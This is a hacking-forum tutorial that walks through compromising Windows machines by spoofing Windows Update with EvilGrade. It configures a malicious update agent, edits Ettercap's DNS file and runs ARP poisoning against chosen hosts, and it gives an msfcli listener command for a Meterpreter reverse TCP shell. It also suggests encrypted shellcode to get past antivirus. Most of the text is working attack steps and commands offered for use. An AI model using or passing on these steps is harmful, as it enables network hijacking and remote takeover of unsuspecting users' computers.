[Pixo]

Hi all,

Today I want to tell you how to deliver your Meterpreter with EvilGrade.

In this demonstration I use these operating systems:

Attacker : Backtrack 5 R2 Ip address : 192.168.1.97

Slave : Windows Xp Ip address : 192.168.1.13

What knowledge have had to implement this?

A little understanding on the DNS Spoofing and TCP/IP

Knowing how to use Ettercap-ng

Basic use of

Optional but recommended :

Know encrypted shellcode to bypass the antivirus.

Evilgrade

To begin we will start and configure evilgrade :

Application => Backtrack => Exploitation Tools => Network exploitation Tools =>

Spoiler:

We will use the module winupdate :

Code:

configure winupdate

Looking at the options :

Code:

show options

Code:

evilgrade(winupdate)>show options Display options: =============== Name = Windows Update Version = 1.0 Author = ["Francisco Amato < famato +[AT]+ infobytesec.com>"] Description = "" VirtualHost = "(windowsupdate.microsoft.com|update.microsoft.com|www.microsoft.com|go.microsoft​.com)" .-------------------------------------------. | Name | Default | Description | +--------+----------------+-----------------+ | enable | 1 | Status | | agent | .agent/agent.exe | Agent to inject | '--------+----------------+-----------------'

it selects the payload (previously encoded with this TuT) will be issued :

Code:

set agent /root/evil.exe

and we launch the service :

Code:

evilgrade(winupdate)>start evilgrade(winupdate)> [8/3/2012:6:42:15] - [WEBSERVER] - Webserver ready. Waiting for connections ... evilgrade(winupdate)> [8/3/2012:6:42:15] - [DNSSERVER] - DNS Server Ready. Waiting for Connections ...

Ettercap-ng

Then we will configure the file used by Ettercap-ng to spoof the dns :

Code:

vim /usr/local/share/ettercap/etter.dns

As you can see you specified that windows sucks and you can redirect it to linux.org.
It is here that we will change the DNS entry to redirect requests to the slave machine to our attacker.

Spoiler:

Now modify the entries according to the servers that we want to attack that customer will get. In this case WinUpdate.
You can see the default server to the intended application in evilgrade.

Spoiler:

Now let start Ettercap-ng.
1-Type

Code:

ettercap -G

for launch the graphical interface
2-Configure ettercap
-Click on Sniff=>Unified sniffing
-Choose your interface (mine is eth0 but it works over wifi too.)
-Plugins => Manage the plugins => Check the DNS spoof plugins
-Hosts => Scan for Hosts
-Hosts => Hosts list
-Select your Gateway address et click on Target 1
-Select all of others host you want to attack and click on Target 2
-Mitm => APR Poisoning => Check SNIFF Remote connection.
-Start => Start Sniffing

MsfCli (Listener)

Now that evilgrade is ready to provide its "update" and that ettercap is properly configure we launch a listener with msfcli.

Code:

msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=192.168.1.97 LPORT=1234 autorunscript='migrate -f' E

The side of the slave.

And wait for the customer goes on the windows update site

Spoiler:

and clicks accept

Spoiler:

And Finally ...

Now let's backtrack on the result

Spoiler:

I hope you enjoy this issue.
If you have suggestions to enrich this TuT let me know I will modify this one.

Enjoy

[HrDe]

G88t Share on HC..........u r a f**ker.